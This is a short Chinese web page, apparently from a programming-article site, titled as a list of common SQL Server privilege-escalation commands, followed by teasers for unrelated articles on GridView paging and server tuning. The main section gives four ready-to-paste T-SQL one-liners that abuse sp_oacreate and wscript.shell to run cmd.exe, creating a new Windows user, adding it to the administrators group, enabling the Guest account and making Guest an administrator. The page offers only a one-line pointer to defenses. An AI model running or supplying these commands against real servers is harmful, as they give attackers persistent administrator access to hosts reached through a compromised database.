SQL 提权 常用命令
所属分类:
数据库 / MsSql
阅读数:
607
收藏 0赞 0分享
1、连接数据库
driver={SQL Server};server=服务器IP;uid=用户名;pwd=密码;database=数据库名
2、添加新用户
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net user 新用户 密码 /add'
3、把用户加到管理组
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net localgroup administrators 新用户 /add'
4、激活GUEST用户
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net user guest /active:yes'
5、把Guest加到管理组
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net localgroup Administrators Guest /add'
关于防范方法,可以参考脚本之家服务器安全设置栏目。
GridView自定义分页的四种存储过程
首先要说说为什么不用GridView的默认的分页功能,GridView控件并非真正知道如何获得一个新页面,它只是请求绑定的数据源控件返回适合规定页面的行,分页最终是由数据源控件完成。
收藏 0赞 0分享
SQL Server 服务器优化技巧浅谈
数据文件和日志文件的操作会产生大量的I/O。在可能的条件下,日志文件应该存放在一个与数据和索引所在的数据文件不同的硬盘上以分散I/O,同时还有利于数据库的灾难恢复。
收藏 0赞 0分享
查看更多